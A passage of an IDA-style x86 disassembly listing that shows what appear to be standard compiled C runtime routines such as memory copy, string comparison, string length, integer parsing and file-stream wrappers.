		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_415597


loc_41559D:				; CODE XREF: sub_415550+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4155A3:				; CODE XREF: sub_415550+Aj
		mov	eax, [esp+arg_0]
		retn
sub_415550	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155B0	proc near		; CODE XREF: seg000:004012DFp
					; seg000:004012F0p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4155D0
		cmp	edi, eax
		jb	loc_415748


loc_4155D0:				; CODE XREF: sub_4155B0+16j
		test	edi, 3
		jnz	short loc_4155EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41560C
		rep movsd
		jmp	ds:off_4156F8[edx*4]
; ---------------------------------------------------------------------------


loc_4155EC:				; CODE XREF: sub_4155B0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_415604
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41560C+4[eax*4]
; ---------------------------------------------------------------------------


loc_415604:				; CODE XREF: sub_4155B0+46j
		jmp	dword ptr ds:loc_415708[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41560C:				; CODE XREF: sub_4155B0+31j
					; sub_4155B0+8Ej ...
		jmp	ds:off_41568C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415620
		dd offset loc_41564C
		dd offset loc_415670
; ---------------------------------------------------------------------------


loc_415620:				; DATA XREF: sub_4155B0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41560C
		rep movsd
		jmp	ds:off_4156F8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41564C:				; DATA XREF: sub_4155B0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41560C
		rep movsd
		jmp	ds:off_4156F8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_415670:				; DATA XREF: sub_4155B0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41560C
		rep movsd
		jmp	ds:off_4156F8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41568C	dd offset loc_4156EF	; DATA XREF: sub_4155B0:loc_41560Cr
		dd offset loc_4156DC
		dd offset loc_4156D4
		dd offset loc_4156CC
		dd offset loc_4156C4
		dd offset loc_4156BC
		dd offset loc_4156B4
		dd offset loc_4156AC
; ---------------------------------------------------------------------------


loc_4156AC:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4156B4:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4156BC:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4156C4:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4156CC:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4156D4:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4156DC:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4156EF:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0:off_41568Co
		jmp	ds:off_4156F8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4156F8	dd offset loc_415708	; DATA XREF: sub_4155B0+35r
					; sub_4155B0+92r ...
		dd offset loc_415710
		dd offset loc_41571C
		dd offset loc_415730
; ---------------------------------------------------------------------------


loc_415708:				; CODE XREF: sub_4155B0+35j
					; sub_4155B0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_415710:				; CODE XREF: sub_4155B0+35j
					; sub_4155B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41571C:				; CODE XREF: sub_4155B0+35j
					; sub_4155B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_415730:				; CODE XREF: sub_4155B0+35j
					; sub_4155B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415748:				; CODE XREF: sub_4155B0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41577C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_415770
		std
		rep movsd
		cld
		jmp	ds:off_415890[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_415770:				; CODE XREF: sub_4155B0+1B1j
					; sub_4155B0+208j ...
		neg	ecx
		jmp	ds:off_415840[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41577C:				; CODE XREF: sub_4155B0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_415794
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_415794+4[eax*4]
; ---------------------------------------------------------------------------


loc_415794:				; CODE XREF: sub_4155B0+1D6j
					; DATA XREF: sub_4155B0+1DDr
		jmp	ds:off_415890[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		test	al, 57h
		inc	ecx
		add	al, cl
		push	edi
		inc	ecx
		add	al, dh
		push	edi
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_415770
		std
		rep movsd
		cld
		jmp	ds:off_415890[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_415770
		std
		rep movsd
		cld
		jmp	ds:off_415890[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_415770
		std
		rep movsd
		cld
		jmp	ds:off_415890[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415844
		dd offset loc_41584C
		dd offset loc_415854
		dd offset loc_41585C
		dd offset loc_415864
		dd offset loc_41586C
		dd offset loc_415874
off_415840	dd offset loc_415887	; DATA XREF: sub_4155B0+1C2r
; ---------------------------------------------------------------------------


loc_415844:				; DATA XREF: sub_4155B0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41584C:				; DATA XREF: sub_4155B0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_415854:				; DATA XREF: sub_4155B0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41585C:				; DATA XREF: sub_4155B0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_415864:				; DATA XREF: sub_4155B0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41586C:				; DATA XREF: sub_4155B0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_415874:				; DATA XREF: sub_4155B0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_415887:				; CODE XREF: sub_4155B0+1C2j
					; DATA XREF: sub_4155B0:off_415840o
		jmp	ds:off_415890[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_415890	dd offset loc_4158A0	; DATA XREF: sub_4155B0+1B7r
					; sub_4155B0:loc_415794r ...
		dd offset loc_4158A8
		dd offset loc_4158B8
		dd offset loc_4158CC
; ---------------------------------------------------------------------------


loc_4158A0:				; CODE XREF: sub_4155B0+1B7j
					; sub_4155B0:loc_415794j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4158A8:				; CODE XREF: sub_4155B0+1B7j
					; sub_4155B0:loc_415794j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4158B8:				; CODE XREF: sub_4155B0+1B7j
					; sub_4155B0:loc_415794j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4158CC:				; CODE XREF: sub_4155B0+1B7j
					; sub_4155B0:loc_415794j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4155B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4158F0	proc near		; CODE XREF: seg000:004011AEp
					; seg000:004011CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41593C


loc_415900:				; CODE XREF: sub_4158F0+3Cj
					; sub_4158F0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_415934
		or	al, al
		jz	short loc_415930
		cmp	ah, [ecx+1]
		jnz	short loc_415934
		or	ah, ah
		jz	short loc_415930
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_415934
		or	al, al
		jz	short loc_415930
		cmp	ah, [ecx+3]
		jnz	short loc_415934
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_415900
		mov	edi, edi


loc_415930:				; CODE XREF: sub_4158F0+18j
					; sub_4158F0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415934:				; CODE XREF: sub_4158F0+14j
					; sub_4158F0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41593C:				; CODE XREF: sub_4158F0+Ej
		test	edx, 1
		jz	short loc_415958
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_415934
		inc	ecx
		or	al, al
		jz	short loc_415930
		test	edx, 2
		jz	short loc_415900


loc_415958:				; CODE XREF: sub_4158F0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_415934
		or	al, al
		jz	short loc_415930
		cmp	ah, [ecx+1]
		jnz	short loc_415934
		or	ah, ah
		jz	short loc_415930
		add	ecx, 2
		jmp	short loc_415900
sub_4158F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415980	proc near		; CODE XREF: seg000:00401250p
					; sub_4018CA+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_415999
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_415999:				; CODE XREF: sub_415980+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_415980	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159B4	proc near		; CODE XREF: sub_415A3F+4p
					; seg000:0041E2E4p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_4159BC:				; CODE XREF: sub_4159B4+34j
		cmp	ds:dword_437F4C, 1
		jle	short loc_4159D4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_4159E3
; ---------------------------------------------------------------------------


loc_4159D4:				; CODE XREF: sub_4159B4+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, ds:off_437D40
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4159E3:				; CODE XREF: sub_4159B4+1Ej
		test	eax, eax
		jz	short loc_4159EA
		inc	edi
		jmp	short loc_4159BC
; ---------------------------------------------------------------------------


loc_4159EA:				; CODE XREF: sub_4159B4+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4159FA
		cmp	esi, 2Bh
		jnz	short loc_4159FE


loc_4159FA:				; CODE XREF: sub_4159B4+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_4159FE:				; CODE XREF: sub_4159B4+44j
		xor	ebx, ebx


loc_415A00:				; CODE XREF: sub_4159B4+7Bj
		cmp	ds:dword_437F4C, 1
		jle	short loc_415A15
		push	4
		push	esi
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_415A20
; ---------------------------------------------------------------------------


loc_415A15:				; CODE XREF: sub_4159B4+53j
		mov	eax, ds:off_437D40
		mov	al, [eax+esi*2]
		and	eax, 4


loc_415A20:				; CODE XREF: sub_4159B4+5Fj
		test	eax, eax
		jz	short loc_415A31
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_415A00
; ---------------------------------------------------------------------------


loc_415A31:				; CODE XREF: sub_4159B4+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_415A3A
		neg	eax


loc_415A3A:				; CODE XREF: sub_4159B4+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4159B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A3F	proc near		; CODE XREF: sub_4013E9+12p
					; sub_4013E9+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4159B4
		pop	ecx
		retn
sub_415A3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A4A	proc near		; CODE XREF: seg000:0040175Fp
					; seg000:00402036p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_417D2C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_415A89
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_415A96
; ---------------------------------------------------------------------------


loc_415A89:				; CODE XREF: sub_415A4A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C17
		pop	ecx
		pop	ecx


loc_415A96:				; CODE XREF: sub_415A4A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415A4A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415AA0	proc near		; CODE XREF: seg000:00401EAEp
					; seg000:00401ECEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_415B1A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_415B07


loc_415AB8:				; CODE XREF: sub_415AA0+52j
					; sub_415AA0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_415ADA
		test	al, al
		jz	short loc_415AD4


loc_415AC9:				; CODE XREF: sub_415AA0+32j
		mov	al, [esi]
		inc	esi


loc_415ACC:				; CODE XREF: sub_415AA0+3Fj
		cmp	al, dl
		jz	short loc_415ADA
		test	al, al
		jnz	short loc_415AC9


loc_415AD4:				; CODE XREF: sub_415AA0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_415ADA:				; CODE XREF: sub_415AA0+23j
					; sub_415AA0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_415ACC
		lea	edi, [esi-1]


loc_415AE4:				; CODE XREF: sub_415AA0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_415B13
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_415AB8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_415B13
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_415AE4
		jmp	short loc_415AB8
; ---------------------------------------------------------------------------


loc_415B07:				; CODE XREF: sub_415AA0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_417066
; ---------------------------------------------------------------------------


loc_415B13:				; CODE XREF: sub_415AA0+49j
					; sub_415AA0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415B1A:				; CODE XREF: sub_415AA0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_415AA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B20	proc near		; CODE XREF: seg000:004021AEp
					; sub_406C22+4B5p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_415B35
		or	eax, 0FFFFFFFFh
		jmp	short loc_415B6F
; ---------------------------------------------------------------------------


loc_415B35:				; CODE XREF: sub_415B20+Ej
		test	al, 83h
		jz	short loc_415B6D
		push	esi
		call	sub_4186C4
		push	esi
		mov	edi, eax
		call	sub_41865E
		push	dword ptr [esi+10h]
		call	sub_4185AB
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_415B5B
		or	edi, 0FFFFFFFFh
		jmp	short loc_415B6D
; ---------------------------------------------------------------------------


loc_415B5B:				; CODE XREF: sub_415B20+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_415B6D
		push	eax
		call	sub_415E1D
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_415B6D:				; CODE XREF: sub_415B20+17j
					; sub_415B20+39j ...
		mov	eax, edi


loc_415B6F:				; CODE XREF: sub_415B20+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_415B20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B76	proc near		; CODE XREF: seg000:004021A8p
					; seg000:0040F83Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_418796
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417D2C
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_418823
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_415B76	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BA8	proc near		; CODE XREF: sub_415BC8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_4189D0
		test	eax, eax
		jnz	short loc_415BB2
		retn
; ---------------------------------------------------------------------------


loc_415BB2:				; CODE XREF: sub_415BA8+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_418860
		add	esp, 10h
		retn
sub_415BA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415BC8	proc near		; CODE XREF: seg000:0040216Ep
					; sub_406C22+134p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_415BA8
		add	esp, 0Ch
		retn
sub_415BC8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415BE0	proc near		; CODE XREF: seg000:00405DC6p
					; sub_40998E+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_415C51
sub_415BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415BF0	proc near		; CODE XREF: seg000:0040215Dp
					; seg000:004024A6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_415C0C


loc_415BFD:				; CODE XREF: sub_415BF0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415C3F
		test	ecx, 3
		jnz	short loc_415BFD


loc_415C0C:				; CODE XREF: sub_415BF0+Bj
					; sub_415BF0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415C0C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415C4E
		test	ah, ah
		jz	short loc_415C49
		test	eax, 0FF0000h
		jz	short loc_415C44
		test	eax, 0FF000000h
		jz	short loc_415C3F
		jmp	short loc_415C0C
; ---------------------------------------------------------------------------


loc_415C3F:				; CODE XREF: sub_415BF0+12j
					; sub_415BF0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_415C51
; ---------------------------------------------------------------------------


loc_415C44:				; CODE XREF: sub_415BF0+44j
		lea	edi, [ecx-2]
		jmp	short loc_415C51
; ---------------------------------------------------------------------------


loc_415C49:				; CODE XREF: sub_415BF0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_415C51
; ---------------------------------------------------------------------------


loc_415C4E:				; CODE XREF: sub_415BF0+39j
		lea	edi, [ecx-4]


loc_415C51:				; CODE XREF: sub_415BE0+5j
					; sub_415BF0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_415C76


loc_415C5D:				; CODE XREF: sub_415BF0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_415CC8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_415C5D
		jmp	short loc_415C76
; ---------------------------------------------------------------------------


loc_415C71:				; CODE XREF: sub_415BF0+9Ej
					; sub_415BF0+B8j
		mov	[edi], edx
		add	edi, 4


loc_415C76:				; CODE XREF: sub_415BF0+6Bj
					; sub_415BF0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415C71
		test	dl, dl
		jz	short loc_415CC8
		test	dh, dh
		jz	short loc_415CBF
		test	edx, 0FF0000h
		jz	short loc_415CB2
		test	edx, 0FF000000h
		jz	short loc_415CAA
		jmp	short loc_415C71
; ---------------------------------------------------------------------------


loc_415CAA:				; CODE XREF: sub_415BF0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415CB2:				; CODE XREF: sub_415BF0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415CBF:				; CODE XREF: sub_415BF0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_415CC8:				; CODE XREF: sub_415BF0+72j
					; sub_415BF0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_415BF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CD0	proc near		; CODE XREF: seg000:004023A2p
					; seg000:loc_4023B5p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_415CF0


loc_415CDC:				; CODE XREF: sub_415CD0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_415D23
		test	ecx, 3
		jnz	short loc_415CDC
		add	eax, 0


loc_415CF0:				; CODE XREF: sub_415CD0+Aj
					; sub_415CD0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_415CF0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_415D41
		test	ah, ah
		jz	short loc_415D37
		test	eax, 0FF0000h
		jz	short loc_415D2D
		test	eax, 0FF000000h
		jz	short loc_415D23
		jmp	short loc_415CF0
; ---------------------------------------------------------------------------


loc_415D23:				; CODE XREF: sub_415CD0+11j
					; sub_415CD0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415D2D:				; CODE XREF: sub_415CD0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415D37:				; CODE XREF: sub_415CD0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_415D41:				; CODE XREF: sub_415CD0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_415CD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415D50	proc near		; CODE XREF: seg000:004024E4p
					; sub_402988+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_415D70


loc_415D5C:				; CODE XREF: sub_415D50+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_415D5C


loc_415D70:				; CODE XREF: sub_415D50+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_415D50	endp


; =============== S U B	R O U T	I N E =======================================



sub_415D7F	proc near		; CODE XREF: sub_402FDD+7Ap
					; sub_402FDD+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_415D93


loc_415D8B:				; CODE XREF: sub_415D7F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_415D8B


loc_415D93:				; CODE XREF: sub_415D7F+Aj
		mov	edx, [esp+arg_4]
		push	esi


